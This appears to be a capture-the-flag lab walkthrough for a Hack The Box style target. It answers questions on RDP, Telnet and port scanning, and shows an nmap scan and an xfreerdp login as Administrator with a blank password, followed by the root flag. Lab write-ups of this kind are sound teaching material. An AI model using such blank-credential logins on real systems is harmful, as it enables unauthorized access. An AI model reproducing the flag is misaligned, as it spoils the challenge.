



TARGET MACHINE IP ADDRESS
10.129.1.13

1. What does the 3-letter acronym RDP stand for?

Answer: The 3-letter acronym RDP stands for Remote Desktop Protocol.

2. What is a 3-letter acronym that refers to interaction with the host through a command line interface?

Answer: CLI

3. What about graphical user interface interactions?

Answer: GUI

4. What is the name of an old remote access tool that came without encryption by default and listens on TCP port 23?

Answer: Telnet

5. What is the name of the service running on port 3389 TCP?

```
(kali㉿kali)-[~/Desktop/HTB]
$ nmap -Pn -sV -p 3389 10.129.1.13
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-23 17:29 EDT
Nmap scan report for 10.129.1.13
Host is up (0.072s latency).

PORT      STATE SERVICE          VERSION
3389/tcp  open  ms-wbt-server    Microsoft Terminal Services
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
```

Answer: ms-wbt-server

6. What is the switch used to specify the target host's IP address when using xfreerdp?

Answer: /v:

7. What username successfully returns a desktop projection to us with a blank password?

```
(kali㉿kali)-[~/Desktop/HTB]
$ xfreerdp3 /v:10.129.1.13 /u:Administrator /p:
```

Answer: Administrator

8. Submit root flag

Answer: 951fa96d7830c451b536be5a6be008a0